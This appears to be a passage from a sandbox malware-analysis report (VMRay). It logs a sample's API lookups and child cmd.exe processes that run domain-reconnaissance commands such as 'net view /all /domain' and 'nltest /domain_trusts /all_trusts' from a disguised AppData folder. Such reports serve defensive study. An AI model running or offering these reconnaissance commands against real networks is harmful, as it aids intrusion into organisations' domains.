Get Address c:\windows\system32\ole32.dll function = CoUninitialize, address_out = 0x76d186d3 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = IIDFromString, address_out = 0x76ce2ff2 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = VariantClear, address_out = 0x76a63eae True 1
Fn
Get Address c:\windows\system32\user32.dll function = wvsprintfW, address_out = 0x76c2407a True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = WSAGetLastError, address_out = 0x75a937ad True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = WSAStartup, address_out = 0x75a93ab2 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = __WSAFDIsSet, address_out = 0x75a96a8a True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = closesocket, address_out = 0x75a93918 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = connect, address_out = 0x75a96bdd True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = gethostbyname, address_out = 0x75aa7673 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = htons, address_out = 0x75a92d8b True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = inet_addr, address_out = 0x75a9311b True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = inet_ntoa, address_out = 0x75a9b131 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = ioctlsocket, address_out = 0x75a93084 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = recv, address_out = 0x75a96b0e True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = select, address_out = 0x75a96989 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = send, address_out = 0x75a96f01 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = setsockopt, address_out = 0x75a941b6 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = socket, address_out = 0x75a93eb8 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _get_output_format, address_out = 0x76ff5cb8 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:34:05 (UTC) True 1
Fn
Get Time type = Ticks, time = 11084198 True 1
Fn
Get Time type = Performance Ctr, time = 31421778633 True 1
Fn
Environment (1)
»
Operation Additional Information Success Count Logfile
Get Environment String name = SystemRoot, result_out = C:\Windows True 1
Fn
Process #54: cmd.exe
51 0
»
Information Value
ID #54
File Name c:\windows\system32\cmd.exe
Command Line /c net view /all /domain
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:04:09, Reason: Child Process
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:00:07
OS Process Information
»
Information Value
PID 0xd70
Parent PID 0xa70 (c:\windows\system32\svchost.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x DA4
Host Behavior
File (5)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 232, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\net.exe os_pid = 0xed4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x49df0000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:34:14 (UTC) True 1
Fn
Get Time type = Ticks, time = 11093215 True 1
Fn
Get Time type = Performance Ctr, time = 32322151602 True 1
Fn
Environment (15)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 5
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Process #56: cmd.exe
58 0
»
Information Value
ID #56
File Name c:\windows\system32\cmd.exe
Command Line /c nltest /domain_trusts
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:04:09, Reason: Child Process
Unmonitor End Time: 00:04:11, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xed0
Parent PID 0xa70 (c:\windows\system32\svchost.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x EC8
Host Behavior
File (8)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 4
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 232, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\nltest.exe os_pid = 0xee8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x49df0000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:34:14 (UTC) True 1
Fn
Get Time type = Ticks, time = 11093402 True 1
Fn
Get Time type = Performance Ctr, time = 32340853442 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #58: cmd.exe
58 0
»
Information Value
ID #58
File Name c:\windows\system32\cmd.exe
Command Line /c nltest /domain_trusts /all_trusts
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:04:09, Reason: Child Process
Unmonitor End Time: 00:04:11, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xf1c
Parent PID 0xa70 (c:\windows\system32\svchost.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x F10
Host Behavior
File (8)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 4
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 192, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\nltest.exe os_pid = 0x944, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x49df0000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:34:15 (UTC) True 1
Fn
Get Time type = Ticks, time = 11093652 True 1
Fn
Get Time type = Performance Ctr, time = 32381713498 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image